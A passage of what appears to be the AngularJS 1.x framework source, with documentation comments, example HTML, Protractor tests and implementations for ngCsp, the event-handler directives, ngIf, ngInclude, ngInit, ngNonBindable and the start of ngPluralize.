19000 * CSP forbids apps to use `eval` or `Function(string)` generated functions (among other things).
19001 * For Angular to be CSP compatible there are only two things that we need to do differently:
19002 *
19003 * - don't use `Function` constructor to generate optimized value getters
19004 * - don't inject custom stylesheet into the document
19005 *
19006 * AngularJS uses `Function(string)` generated functions as a speed optimization. Applying the `ngCsp`
19007 * directive will cause Angular to use CSP compatibility mode. When this mode is on AngularJS will
19008 * evaluate all expressions up to 30% slower than in non-CSP mode, but no security violations will
19009 * be raised.
19010 *
19011 * CSP forbids JavaScript to inline stylesheet rules. In non CSP mode Angular automatically
19012 * includes some CSS rules (e.g. {@link ng.directive:ngCloak ngCloak}).
19013 * To make those directives work in CSP mode, include the `angular-csp.css` manually.
19014 *
19015 * Angular tries to autodetect if CSP is active and automatically turn on the CSP-safe mode. This
19016 * autodetection however triggers a CSP error to be logged in the console:
19017 *
19018 * ```
19019 * Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of
19020 * script in the following Content Security Policy directive: "default-src 'self'". Note that
19021 * 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
19022 * ```
19023 *
19024 * This error is harmless but annoying. To prevent the error from showing up, put the `ngCsp`
19025 * directive on the root element of the application or on the `angular.js` script tag, whichever
19026 * appears first in the html document.
19027 *
19028 * *Note: This directive is only available in the `ng-csp` and `data-ng-csp` attribute form.*
19029 *
19030 * @example
19031 * This example shows how to apply the `ngCsp` directive to the `html` tag.
19032 ```html
19033 <!doctype html>
19034 <html ng-app ng-csp>
19035 ...
19036 ...
19037 </html>
19038 ```
19039 */
19040
19041 // ngCsp is not implemented as a proper directive any more, because we need it be processed while we
19042 // bootstrap the system (before $parse is instantiated), for this reason we just have
19043 // the csp.isActive() fn that looks for ng-csp attribute anywhere in the current doc
19044
19045 /**
19046 * @ngdoc directive
19047 * @name ngClick
19048 *
19049 * @description
19050 * The ngClick directive allows you to specify custom behavior when
19051 * an element is clicked.
19052 *
19053 * @element ANY
19054 * @priority 0
19055 * @param {expression} ngClick {@link guide/expression Expression} to evaluate upon
19056 * click. ({@link guide/expression#-event- Event object is available as `$event`})
19057 *
19058 * @example
19059 <example>
19060 <file name="index.html">
19061 <button ng-click="count = count + 1" ng-init="count=0">
19062 Increment
19063 </button>
19064 count: {{count}}
19065 </file>
19066 <file name="protractor.js" type="protractor">
19067 it('should check ng-click', function() {
19068 expect(element(by.binding('count')).getText()).toMatch('0');
19069 element(by.css('button')).click();
19070 expect(element(by.binding('count')).getText()).toMatch('1');
19071 });
19072 </file>
19073 </example>
19074 */
19075 /*
19076 * A directive that allows creation of custom onclick handlers that are defined as angular
19077 * expressions and are compiled and executed within the current scope.
19078 *
19079 * Events that are handled via these handler are always configured not to propagate further.
19080 */
19081 var ngEventDirectives = {};
19082 forEach(
19083 'click dblclick mousedown mouseup mouseover mouseout mousemove mouseenter mouseleave keydown keyup keypress submit focus blur copy cut paste'.split(' '),
19084 function(name) {
19085 var directiveName = directiveNormalize('ng-' + name);
19086 ngEventDirectives[directiveName] = ['$parse', function($parse) {
19087 return {
19088 compile: function($element, attr) {
19089 var fn = $parse(attr[directiveName]);
19090 return function ngEventHandler(scope, element) {
19091 element.on(lowercase(name), function(event) {
19092 scope.$apply(function() {
19093 fn(scope, {$event:event});
19094 });
19095 });
19096 };
19097 }
19098 };
19099 }];
19100 }
19101 );
19102
19103 /**
19104 * @ngdoc directive
19105 * @name ngDblclick
19106 *
19107 * @description
19108 * The `ngDblclick` directive allows you to specify custom behavior on a dblclick event.
19109 *
19110 * @element ANY
19111 * @priority 0
19112 * @param {expression} ngDblclick {@link guide/expression Expression} to evaluate upon
19113 * a dblclick. (The Event object is available as `$event`)
19114 *
19115 * @example
19116 <example>
19117 <file name="index.html">
19118 <button ng-dblclick="count = count + 1" ng-init="count=0">
19119 Increment (on double click)
19120 </button>
19121 count: {{count}}
19122 </file>
19123 </example>
19124 */
19125
19126
19127 /**
19128 * @ngdoc directive
19129 * @name ngMousedown
19130 *
19131 * @description
19132 * The ngMousedown directive allows you to specify custom behavior on mousedown event.
19133 *
19134 * @element ANY
19135 * @priority 0
19136 * @param {expression} ngMousedown {@link guide/expression Expression} to evaluate upon
19137 * mousedown. ({@link guide/expression#-event- Event object is available as `$event`})
19138 *
19139 * @example
19140 <example>
19141 <file name="index.html">
19142 <button ng-mousedown="count = count + 1" ng-init="count=0">
19143 Increment (on mouse down)
19144 </button>
19145 count: {{count}}
19146 </file>
19147 </example>
19148 */
19149
19150
19151 /**
19152 * @ngdoc directive
19153 * @name ngMouseup
19154 *
19155 * @description
19156 * Specify custom behavior on mouseup event.
19157 *
19158 * @element ANY
19159 * @priority 0
19160 * @param {expression} ngMouseup {@link guide/expression Expression} to evaluate upon
19161 * mouseup. ({@link guide/expression#-event- Event object is available as `$event`})
19162 *
19163 * @example
19164 <example>
19165 <file name="index.html">
19166 <button ng-mouseup="count = count + 1" ng-init="count=0">
19167 Increment (on mouse up)
19168 </button>
19169 count: {{count}}
19170 </file>
19171 </example>
19172 */
19173
19174 /**
19175 * @ngdoc directive
19176 * @name ngMouseover
19177 *
19178 * @description
19179 * Specify custom behavior on mouseover event.
19180 *
19181 * @element ANY
19182 * @priority 0
19183 * @param {expression} ngMouseover {@link guide/expression Expression} to evaluate upon
19184 * mouseover. ({@link guide/expression#-event- Event object is available as `$event`})
19185 *
19186 * @example
19187 <example>
19188 <file name="index.html">
19189 <button ng-mouseover="count = count + 1" ng-init="count=0">
19190 Increment (when mouse is over)
19191 </button>
19192 count: {{count}}
19193 </file>
19194 </example>
19195 */
19196
19197
19198 /**
19199 * @ngdoc directive
19200 * @name ngMouseenter
19201 *
19202 * @description
19203 * Specify custom behavior on mouseenter event.
19204 *
19205 * @element ANY
19206 * @priority 0
19207 * @param {expression} ngMouseenter {@link guide/expression Expression} to evaluate upon
19208 * mouseenter. ({@link guide/expression#-event- Event object is available as `$event`})
19209 *
19210 * @example
19211 <example>
19212 <file name="index.html">
19213 <button ng-mouseenter="count = count + 1" ng-init="count=0">
19214 Increment (when mouse enters)
19215 </button>
19216 count: {{count}}
19217 </file>
19218 </example>
19219 */
19220
19221
19222 /**
19223 * @ngdoc directive
19224 * @name ngMouseleave
19225 *
19226 * @description
19227 * Specify custom behavior on mouseleave event.
19228 *
19229 * @element ANY
19230 * @priority 0
19231 * @param {expression} ngMouseleave {@link guide/expression Expression} to evaluate upon
19232 * mouseleave. ({@link guide/expression#-event- Event object is available as `$event`})
19233 *
19234 * @example
19235 <example>
19236 <file name="index.html">
19237 <button ng-mouseleave="count = count + 1" ng-init="count=0">
19238 Increment (when mouse leaves)
19239 </button>
19240 count: {{count}}
19241 </file>
19242 </example>
19243 */
19244
19245
19246 /**
19247 * @ngdoc directive
19248 * @name ngMousemove
19249 *
19250 * @description
19251 * Specify custom behavior on mousemove event.
19252 *
19253 * @element ANY
19254 * @priority 0
19255 * @param {expression} ngMousemove {@link guide/expression Expression} to evaluate upon
19256 * mousemove. ({@link guide/expression#-event- Event object is available as `$event`})
19257 *
19258 * @example
19259 <example>
19260 <file name="index.html">
19261 <button ng-mousemove="count = count + 1" ng-init="count=0">
19262 Increment (when mouse moves)
19263 </button>
19264 count: {{count}}
19265 </file>
19266 </example>
19267 */
19268
19269
19270 /**
19271 * @ngdoc directive
19272 * @name ngKeydown
19273 *
19274 * @description
19275 * Specify custom behavior on keydown event.
19276 *
19277 * @element ANY
19278 * @priority 0
19279 * @param {expression} ngKeydown {@link guide/expression Expression} to evaluate upon
19280 * keydown. (Event object is available as `$event` and can be interrogated for keyCode, altKey, etc.)
19281 *
19282 * @example
19283 <example>
19284 <file name="index.html">
19285 <input ng-keydown="count = count + 1" ng-init="count=0">
19286 key down count: {{count}}
19287 </file>
19288 </example>
19289 */
19290
19291
19292 /**
19293 * @ngdoc directive
19294 * @name ngKeyup
19295 *
19296 * @description
19297 * Specify custom behavior on keyup event.
19298 *
19299 * @element ANY
19300 * @priority 0
19301 * @param {expression} ngKeyup {@link guide/expression Expression} to evaluate upon
19302 * keyup. (Event object is available as `$event` and can be interrogated for keyCode, altKey, etc.)
19303 *
19304 * @example
19305 <example>
19306 <file name="index.html">
19307 <p>Typing in the input box below updates the key count</p>
19308 <input ng-keyup="count = count + 1" ng-init="count=0"> key up count: {{count}}
19309
19310 <p>Typing in the input box below updates the keycode</p>
19311 <input ng-keyup="event=$event">
19312 <p>event keyCode: {{ event.keyCode }}</p>
19313 <p>event altKey: {{ event.altKey }}</p>
19314 </file>
19315 </example>
19316 */
19317
19318
19319 /**
19320 * @ngdoc directive
19321 * @name ngKeypress
19322 *
19323 * @description
19324 * Specify custom behavior on keypress event.
19325 *
19326 * @element ANY
19327 * @param {expression} ngKeypress {@link guide/expression Expression} to evaluate upon
19328 * keypress. ({@link guide/expression#-event- Event object is available as `$event`}
19329 * and can be interrogated for keyCode, altKey, etc.)
19330 *
19331 * @example
19332 <example>
19333 <file name="index.html">
19334 <input ng-keypress="count = count + 1" ng-init="count=0">
19335 key press count: {{count}}
19336 </file>
19337 </example>
19338 */
19339
19340
19341 /**
19342 * @ngdoc directive
19343 * @name ngSubmit
19344 *
19345 * @description
19346 * Enables binding angular expressions to onsubmit events.
19347 *
19348 * Additionally it prevents the default action (which for form means sending the request to the
19349 * server and reloading the current page), but only if the form does not contain `action`,
19350 * `data-action`, or `x-action` attributes.
19351 *
19352 * <div class="alert alert-warning">
19353 * **Warning:** Be careful not to cause "double-submission" by using both the `ngClick` and
19354 * `ngSubmit` handlers together. See the
19355 * {@link form#submitting-a-form-and-preventing-the-default-action `form` directive documentation}
19356 * for a detailed discussion of when `ngSubmit` may be triggered.
19357 * </div>
19358 *
19359 * @element form
19360 * @priority 0
19361 * @param {expression} ngSubmit {@link guide/expression Expression} to eval.
19362 * ({@link guide/expression#-event- Event object is available as `$event`})
19363 *
19364 * @example
19365 <example module="submitExample">
19366 <file name="index.html">
19367 <script>
19368 angular.module('submitExample', [])
19369 .controller('ExampleController', ['$scope', function($scope) {
19370 $scope.list = [];
19371 $scope.text = 'hello';
19372 $scope.submit = function() {
19373 if ($scope.text) {
19374 $scope.list.push(this.text);
19375 $scope.text = '';
19376 }
19377 };
19378 }]);
19379 </script>
19380 <form ng-submit="submit()" ng-controller="ExampleController">
19381 Enter text and hit enter:
19382 <input type="text" ng-model="text" name="text" />
19383 <input type="submit" id="submit" value="Submit" />
19384 <pre>list={{list}}</pre>
19385 </form>
19386 </file>
19387 <file name="protractor.js" type="protractor">
19388 it('should check ng-submit', function() {
19389 expect(element(by.binding('list')).getText()).toBe('list=[]');
19390 element(by.css('#submit')).click();
19391 expect(element(by.binding('list')).getText()).toContain('hello');
19392 expect(element(by.model('text')).getAttribute('value')).toBe('');
19393 });
19394 it('should ignore empty strings', function() {
19395 expect(element(by.binding('list')).getText()).toBe('list=[]');
19396 element(by.css('#submit')).click();
19397 element(by.css('#submit')).click();
19398 expect(element(by.binding('list')).getText()).toContain('hello');
19399 });
19400 </file>
19401 </example>
19402 */
19403
19404 /**
19405 * @ngdoc directive
19406 * @name ngFocus
19407 *
19408 * @description
19409 * Specify custom behavior on focus event.
19410 *
19411 * @element window, input, select, textarea, a
19412 * @priority 0
19413 * @param {expression} ngFocus {@link guide/expression Expression} to evaluate upon
19414 * focus. ({@link guide/expression#-event- Event object is available as `$event`})
19415 *
19416 * @example
19417 * See {@link ng.directive:ngClick ngClick}
19418 */
19419
19420 /**
19421 * @ngdoc directive
19422 * @name ngBlur
19423 *
19424 * @description
19425 * Specify custom behavior on blur event.
19426 *
19427 * @element window, input, select, textarea, a
19428 * @priority 0
19429 * @param {expression} ngBlur {@link guide/expression Expression} to evaluate upon
19430 * blur. ({@link guide/expression#-event- Event object is available as `$event`})
19431 *
19432 * @example
19433 * See {@link ng.directive:ngClick ngClick}
19434 */
19435
19436 /**
19437 * @ngdoc directive
19438 * @name ngCopy
19439 *
19440 * @description
19441 * Specify custom behavior on copy event.
19442 *
19443 * @element window, input, select, textarea, a
19444 * @priority 0
19445 * @param {expression} ngCopy {@link guide/expression Expression} to evaluate upon
19446 * copy. ({@link guide/expression#-event- Event object is available as `$event`})
19447 *
19448 * @example
19449 <example>
19450 <file name="index.html">
19451 <input ng-copy="copied=true" ng-init="copied=false; value='copy me'" ng-model="value">
19452 copied: {{copied}}
19453 </file>
19454 </example>
19455 */
19456
19457 /**
19458 * @ngdoc directive
19459 * @name ngCut
19460 *
19461 * @description
19462 * Specify custom behavior on cut event.
19463 *
19464 * @element window, input, select, textarea, a
19465 * @priority 0
19466 * @param {expression} ngCut {@link guide/expression Expression} to evaluate upon
19467 * cut. ({@link guide/expression#-event- Event object is available as `$event`})
19468 *
19469 * @example
19470 <example>
19471 <file name="index.html">
19472 <input ng-cut="cut=true" ng-init="cut=false; value='cut me'" ng-model="value">
19473 cut: {{cut}}
19474 </file>
19475 </example>
19476 */
19477
19478 /**
19479 * @ngdoc directive
19480 * @name ngPaste
19481 *
19482 * @description
19483 * Specify custom behavior on paste event.
19484 *
19485 * @element window, input, select, textarea, a
19486 * @priority 0
19487 * @param {expression} ngPaste {@link guide/expression Expression} to evaluate upon
19488 * paste. ({@link guide/expression#-event- Event object is available as `$event`})
19489 *
19490 * @example
19491 <example>
19492 <file name="index.html">
19493 <input ng-paste="paste=true" ng-init="paste=false" placeholder='paste here'>
19494 pasted: {{paste}}
19495 </file>
19496 </example>
19497 */
19498
19499 /**
19500 * @ngdoc directive
19501 * @name ngIf
19502 * @restrict A
19503 *
19504 * @description
19505 * The `ngIf` directive removes or recreates a portion of the DOM tree based on an
19506 * {expression}. If the expression assigned to `ngIf` evaluates to a false
19507 * value then the element is removed from the DOM, otherwise a clone of the
19508 * element is reinserted into the DOM.
19509 *
19510 * `ngIf` differs from `ngShow` and `ngHide` in that `ngIf` completely removes and recreates the
19511 * element in the DOM rather than changing its visibility via the `display` css property. A common
19512 * case when this difference is significant is when using css selectors that rely on an element's
19513 * position within the DOM, such as the `:first-child` or `:last-child` pseudo-classes.
19514 *
19515 * Note that when an element is removed using `ngIf` its scope is destroyed and a new scope
19516 * is created when the element is restored. The scope created within `ngIf` inherits from
19517 * its parent scope using
19518 * [prototypal inheritance](https://github.com/angular/angular.js/wiki/The-Nuances-of-Scope-Prototypal-Inheritance).
19519 * An important implication of this is if `ngModel` is used within `ngIf` to bind to
19520 * a javascript primitive defined in the parent scope. In this case any modifications made to the
19521 * variable within the child scope will override (hide) the value in the parent scope.
19522 *
19523 * Also, `ngIf` recreates elements using their compiled state. An example of this behavior
19524 * is if an element's class attribute is directly modified after it's compiled, using something like
19525 * jQuery's `.addClass()` method, and the element is later removed. When `ngIf` recreates the element
19526 * the added class will be lost because the original compiled state is used to regenerate the element.
19527 *
19528 * Additionally, you can provide animations via the `ngAnimate` module to animate the `enter`
19529 * and `leave` effects.
19530 *
19531 * @animations
19532 * enter - happens just after the ngIf contents change and a new DOM element is created and injected into the ngIf container
19533 * leave - happens just before the ngIf contents are removed from the DOM
19534 *
19535 * @element ANY
19536 * @scope
19537 * @priority 600
19538 * @param {expression} ngIf If the {@link guide/expression expression} is falsy then
19539 * the element is removed from the DOM tree. If it is truthy a copy of the compiled
19540 * element is added to the DOM tree.
19541 *
19542 * @example
19543 <example module="ngAnimate" deps="angular-animate.js" animations="true">
19544 <file name="index.html">
19545 Click me: <input type="checkbox" ng-model="checked" ng-init="checked=true" /><br/>
19546 Show when checked:
19547 <span ng-if="checked" class="animate-if">
19548 I'm removed when the checkbox is unchecked.
19549 </span>
19550 </file>
19551 <file name="animations.css">
19552 .animate-if {
19553 background:white;
19554 border:1px solid black;
19555 padding:10px;
19556 }
19557
19558 .animate-if.ng-enter, .animate-if.ng-leave {
19559 -webkit-transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
19560 transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
19561 }
19562
19563 .animate-if.ng-enter,
19564 .animate-if.ng-leave.ng-leave-active {
19565 opacity:0;
19566 }
19567
19568 .animate-if.ng-leave,
19569 .animate-if.ng-enter.ng-enter-active {
19570 opacity:1;
19571 }
19572 </file>
19573 </example>
19574 */
19575 var ngIfDirective = ['$animate', function($animate) {
19576 return {
19577 transclude: 'element',
19578 priority: 600,
19579 terminal: true,
19580 restrict: 'A',
19581 $$tlb: true,
19582 link: function ($scope, $element, $attr, ctrl, $transclude) {
19583 var block, childScope, previousElements;
19584 $scope.$watch($attr.ngIf, function ngIfWatchAction(value) {
19585
19586 if (toBoolean(value)) {
19587 if (!childScope) {
19588 childScope = $scope.$new();
19589 $transclude(childScope, function (clone) {
19590 clone[clone.length++] = document.createComment(' end ngIf: ' + $attr.ngIf + ' ');
19591 // Note: We only need the first/last node of the cloned nodes.
19592 // However, we need to keep the reference to the jqlite wrapper as it might be changed later
19593 // by a directive with templateUrl when its template arrives.
19594 block = {
19595 clone: clone
19596 };
19597 $animate.enter(clone, $element.parent(), $element);
19598 });
19599 }
19600 } else {
19601 if(previousElements) {
19602 previousElements.remove();
19603 previousElements = null;
19604 }
19605 if(childScope) {
19606 childScope.$destroy();
19607 childScope = null;
19608 }
19609 if(block) {
19610 previousElements = getBlockElements(block.clone);
19611 $animate.leave(previousElements, function() {
19612 previousElements = null;
19613 });
19614 block = null;
19615 }
19616 }
19617 });
19618 }
19619 };
19620 }];
19621
19622 /**
19623 * @ngdoc directive
19624 * @name ngInclude
19625 * @restrict ECA
19626 *
19627 * @description
19628 * Fetches, compiles and includes an external HTML fragment.
19629 *
19630 * By default, the template URL is restricted to the same domain and protocol as the
19631 * application document. This is done by calling {@link ng.$sce#getTrustedResourceUrl
19632 * $sce.getTrustedResourceUrl} on it. To load templates from other domains or protocols
19633 * you may either {@link ng.$sceDelegateProvider#resourceUrlWhitelist whitelist them} or
19634 * [wrap them](ng.$sce#trustAsResourceUrl) as trusted values. Refer to Angular's {@link
19635 * ng.$sce Strict Contextual Escaping}.
19636 *
19637 * In addition, the browser's
19638 * [Same Origin Policy](https://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_XMLHttpRequest)
19639 * and [Cross-Origin Resource Sharing (CORS)](http://www.w3.org/TR/cors/)
19640 * policy may further restrict whether the template is successfully loaded.
19641 * For example, `ngInclude` won't work for cross-domain requests on all browsers and for `file://`
19642 * access on some browsers.
19643 *
19644 * @animations
19645 * enter - animation is used to bring new content into the browser.
19646 * leave - animation is used to animate existing content away.
19647 *
19648 * The enter and leave animation occur concurrently.
19649 *
19650 * @scope
19651 * @priority 400
19652 *
19653 * @param {string} ngInclude|src angular expression evaluating to URL. If the source is a string constant,
19654 * make sure you wrap it in **single** quotes, e.g. `src="'myPartialTemplate.html'"`.
19655 * @param {string=} onload Expression to evaluate when a new partial is loaded.
19656 *
19657 * @param {string=} autoscroll Whether `ngInclude` should call {@link ng.$anchorScroll
19658 * $anchorScroll} to scroll the viewport after the content is loaded.
19659 *
19660 * - If the attribute is not set, disable scrolling.
19661 * - If the attribute is set without value, enable scrolling.
19662 * - Otherwise enable scrolling only if the expression evaluates to truthy value.
19663 *
19664 * @example
19665 <example module="includeExample" deps="angular-animate.js" animations="true">
19666 <file name="index.html">
19667 <div ng-controller="ExampleController">
19668 <select ng-model="template" ng-options="t.name for t in templates">
19669 <option value="">(blank)</option>
19670 </select>
19671 url of the template: <tt>{{template.url}}</tt>
19672 <hr/>
19673 <div class="slide-animate-container">
19674 <div class="slide-animate" ng-include="template.url"></div>
19675 </div>
19676 </div>
19677 </file>
19678 <file name="script.js">
19679 angular.module('includeExample', ['ngAnimate'])
19680 .controller('ExampleController', ['$scope', function($scope) {
19681 $scope.templates =
19682 [ { name: 'template1.html', url: 'template1.html'},
19683 { name: 'template2.html', url: 'template2.html'} ];
19684 $scope.template = $scope.templates[0];
19685 }]);
19686 </file>
19687 <file name="template1.html">
19688 Content of template1.html
19689 </file>
19690 <file name="template2.html">
19691 Content of template2.html
19692 </file>
19693 <file name="animations.css">
19694 .slide-animate-container {
19695 position:relative;
19696 background:white;
19697 border:1px solid black;
19698 height:40px;
19699 overflow:hidden;
19700 }
19701
19702 .slide-animate {
19703 padding:10px;
19704 }
19705
19706 .slide-animate.ng-enter, .slide-animate.ng-leave {
19707 -webkit-transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
19708 transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
19709
19710 position:absolute;
19711 top:0;
19712 left:0;
19713 right:0;
19714 bottom:0;
19715 display:block;
19716 padding:10px;
19717 }
19718
19719 .slide-animate.ng-enter {
19720 top:-50px;
19721 }
19722 .slide-animate.ng-enter.ng-enter-active {
19723 top:0;
19724 }
19725
19726 .slide-animate.ng-leave {
19727 top:0;
19728 }
19729 .slide-animate.ng-leave.ng-leave-active {
19730 top:50px;
19731 }
19732 </file>
19733 <file name="protractor.js" type="protractor">
19734 var templateSelect = element(by.model('template'));
19735 var includeElem = element(by.css('[ng-include]'));
19736
19737 it('should load template1.html', function() {
19738 expect(includeElem.getText()).toMatch(/Content of template1.html/);
19739 });
19740
19741 it('should load template2.html', function() {
19742 if (browser.params.browser == 'firefox') {
19743 // Firefox can't handle using selects
19744 // See https://github.com/angular/protractor/issues/480
19745 return;
19746 }
19747 templateSelect.click();
19748 templateSelect.all(by.css('option')).get(2).click();
19749 expect(includeElem.getText()).toMatch(/Content of template2.html/);
19750 });
19751
19752 it('should change to blank', function() {
19753 if (browser.params.browser == 'firefox') {
19754 // Firefox can't handle using selects
19755 return;
19756 }
19757 templateSelect.click();
19758 templateSelect.all(by.css('option')).get(0).click();
19759 expect(includeElem.isPresent()).toBe(false);
19760 });
19761 </file>
19762 </example>
19763 */
19764
19765
19766 /**
19767 * @ngdoc event
19768 * @name ngInclude#$includeContentRequested
19769 * @eventType emit on the scope ngInclude was declared in
19770 * @description
19771 * Emitted every time the ngInclude content is requested.
19772 */
19773
19774
19775 /**
19776 * @ngdoc event
19777 * @name ngInclude#$includeContentLoaded
19778 * @eventType emit on the current ngInclude scope
19779 * @description
19780 * Emitted every time the ngInclude content is reloaded.
19781 */
19782 var ngIncludeDirective = ['$http', '$templateCache', '$anchorScroll', '$animate', '$sce',
19783 function($http, $templateCache, $anchorScroll, $animate, $sce) {
19784 return {
19785 restrict: 'ECA',
19786 priority: 400,
19787 terminal: true,
19788 transclude: 'element',
19789 controller: angular.noop,
19790 compile: function(element, attr) {
19791 var srcExp = attr.ngInclude || attr.src,
19792 onloadExp = attr.onload || '',
19793 autoScrollExp = attr.autoscroll;
19794
19795 return function(scope, $element, $attr, ctrl, $transclude) {
19796 var changeCounter = 0,
19797 currentScope,
19798 previousElement,
19799 currentElement;
19800
19801 var cleanupLastIncludeContent = function() {
19802 if(previousElement) {
19803 previousElement.remove();
19804 previousElement = null;
19805 }
19806 if(currentScope) {
19807 currentScope.$destroy();
19808 currentScope = null;
19809 }
19810 if(currentElement) {
19811 $animate.leave(currentElement, function() {
19812 previousElement = null;
19813 });
19814 previousElement = currentElement;
19815 currentElement = null;
19816 }
19817 };
19818
19819 scope.$watch($sce.parseAsResourceUrl(srcExp), function ngIncludeWatchAction(src) {
19820 var afterAnimation = function() {
19821 if (isDefined(autoScrollExp) && (!autoScrollExp || scope.$eval(autoScrollExp))) {
19822 $anchorScroll();
19823 }
19824 };
19825 var thisChangeId = ++changeCounter;
19826
19827 if (src) {
19828 $http.get(src, {cache: $templateCache}).success(function(response) {
19829 if (thisChangeId !== changeCounter) return;
19830 var newScope = scope.$new();
19831 ctrl.template = response;
19832
19833 // Note: This will also link all children of ng-include that were contained in the original
19834 // html. If that content contains controllers, ... they could pollute/change the scope.
19835 // However, using ng-include on an element with additional content does not make sense...
19836 // Note: We can't remove them in the cloneAttchFn of $transclude as that
19837 // function is called before linking the content, which would apply child
19838 // directives to non existing elements.
19839 var clone = $transclude(newScope, function(clone) {
19840 cleanupLastIncludeContent();
19841 $animate.enter(clone, null, $element, afterAnimation);
19842 });
19843
19844 currentScope = newScope;
19845 currentElement = clone;
19846
19847 currentScope.$emit('$includeContentLoaded');
19848 scope.$eval(onloadExp);
19849 }).error(function() {
19850 if (thisChangeId === changeCounter) cleanupLastIncludeContent();
19851 });
19852 scope.$emit('$includeContentRequested');
19853 } else {
19854 cleanupLastIncludeContent();
19855 ctrl.template = null;
19856 }
19857 });
19858 };
19859 }
19860 };
19861 }];
19862
19863 // This directive is called during the $transclude call of the first `ngInclude` directive.
19864 // It will replace and compile the content of the element with the loaded template.
19865 // We need this directive so that the element content is already filled when
19866 // the link function of another directive on the same element as ngInclude
19867 // is called.
19868 var ngIncludeFillContentDirective = ['$compile',
19869 function($compile) {
19870 return {
19871 restrict: 'ECA',
19872 priority: -400,
19873 require: 'ngInclude',
19874 link: function(scope, $element, $attr, ctrl) {
19875 $element.html(ctrl.template);
19876 $compile($element.contents())(scope);
19877 }
19878 };
19879 }];
19880
19881 /**
19882 * @ngdoc directive
19883 * @name ngInit
19884 * @restrict AC
19885 *
19886 * @description
19887 * The `ngInit` directive allows you to evaluate an expression in the
19888 * current scope.
19889 *
19890 * <div class="alert alert-error">
19891 * The only appropriate use of `ngInit` is for aliasing special properties of
19892 * {@link ng.directive:ngRepeat `ngRepeat`}, as seen in the demo below. Besides this case, you
19893 * should use {@link guide/controller controllers} rather than `ngInit`
19894 * to initialize values on a scope.
19895 * </div>
19896 * <div class="alert alert-warning">
19897 * **Note**: If you have assignment in `ngInit` along with {@link ng.$filter `$filter`}, make
19898 * sure you have parenthesis for correct precedence:
19899 * <pre class="prettyprint">
19900 * <div ng-init="test1 = (data | orderBy:'name')"></div>
19901 * </pre>
19902 * </div>
19903 *
19904 * @priority 450
19905 *
19906 * @element ANY
19907 * @param {expression} ngInit {@link guide/expression Expression} to eval.
19908 *
19909 * @example
19910 <example module="initExample">
19911 <file name="index.html">
19912 <script>
19913 angular.module('initExample', [])
19914 .controller('ExampleController', ['$scope', function($scope) {
19915 $scope.list = [['a', 'b'], ['c', 'd']];
19916 }]);
19917 </script>
19918 <div ng-controller="ExampleController">
19919 <div ng-repeat="innerList in list" ng-init="outerIndex = $index">
19920 <div ng-repeat="value in innerList" ng-init="innerIndex = $index">
19921 <span class="example-init">list[ {{outerIndex}} ][ {{innerIndex}} ] = {{value}};</span>
19922 </div>
19923 </div>
19924 </div>
19925 </file>
19926 <file name="protractor.js" type="protractor">
19927 it('should alias index positions', function() {
19928 var elements = element.all(by.css('.example-init'));
19929 expect(elements.get(0).getText()).toBe('list[ 0 ][ 0 ] = a;');
19930 expect(elements.get(1).getText()).toBe('list[ 0 ][ 1 ] = b;');
19931 expect(elements.get(2).getText()).toBe('list[ 1 ][ 0 ] = c;');
19932 expect(elements.get(3).getText()).toBe('list[ 1 ][ 1 ] = d;');
19933 });
19934 </file>
19935 </example>
19936 */
19937 var ngInitDirective = ngDirective({
19938 priority: 450,
19939 compile: function() {
19940 return {
19941 pre: function(scope, element, attrs) {
19942 scope.$eval(attrs.ngInit);
19943 }
19944 };
19945 }
19946 });
19947
19948 /**
19949 * @ngdoc directive
19950 * @name ngNonBindable
19951 * @restrict AC
19952 * @priority 1000
19953 *
19954 * @description
19955 * The `ngNonBindable` directive tells Angular not to compile or bind the contents of the current
19956 * DOM element. This is useful if the element contains what appears to be Angular directives and
19957 * bindings but which should be ignored by Angular. This could be the case if you have a site that
19958 * displays snippets of code, for instance.
19959 *
19960 * @element ANY
19961 *
19962 * @example
19963 * In this example there are two locations where a simple interpolation binding (`{{}}`) is present,
19964 * but the one wrapped in `ngNonBindable` is left alone.
19965 *
19966 * @example
19967 <example>
19968 <file name="index.html">
19969 <div>Normal: {{1 + 2}}</div>
19970 <div ng-non-bindable>Ignored: {{1 + 2}}</div>
19971 </file>
19972 <file name="protractor.js" type="protractor">
19973 it('should check ng-non-bindable', function() {
19974 expect(element(by.binding('1 + 2')).getText()).toContain('3');
19975 expect(element.all(by.css('div')).last().getText()).toMatch(/1 \+ 2/);
19976 });
19977 </file>
19978 </example>
19979 */
19980 var ngNonBindableDirective = ngDirective({ terminal: true, priority: 1000 });
19981
19982 /**
19983 * @ngdoc directive
19984 * @name ngPluralize
19985 * @restrict EA
19986 *
19987 * @description
19988 * `ngPluralize` is a directive that displays messages according to en-US localization rules.
19989 * These rules are bundled with angular.js, but can be overridden
19990 * (see {@link guide/i18n Angular i18n} dev guide). You configure ngPluralize directive
19991 * by specifying the mappings between
19992 * [plural categories](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html)
19993 * and the strings to be displayed.
19994 *
19995 * # Plural categories and explicit number rules
19996 * There are two
19997 * [plural categories](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html)
19998 * in Angular's default en-US locale: "one" and "other".
19999 *
20000 * While a plural category may match many numbers (for example, in en-US locale, "other" can match
20001 * any number that is not 1), an explicit number rule can only match one number. For example, the
20002 * explicit number rule for "3" matches the number 3. There are examples of plural categories
20003 * and explicit number rules throughout the rest of this documentation.
20004 *
20005 * # Configuring ngPluralize
20006 * You configure ngPluralize by providing 2 attributes: `count` and `when`.
20007 * You can also provide an optional attribute, `offset`.
20008 *
20009 * The value of the `count` attribute can be either a string or an {@link guide/expression
20010 * Angular expression}; these are evaluated on the current scope for its bound value.
20011 *
20012 * The `when` attribute specifies the mappings between plural categories and the actual
20013 * string to be displayed. The value of the attribute should be a JSON object.
20014 *
20015 * The following example shows how to configure ngPluralize:
20016 *
20017 * ```html
20018 * <ng-pluralize count="personCount"
20019 when="{'0': 'Nobody is viewing.',
20020 * 'one': '1 person is viewing.',
20021 * 'other': '{} people are viewing.'}">
20022 * </ng-pluralize>
20023 *```
20024 *
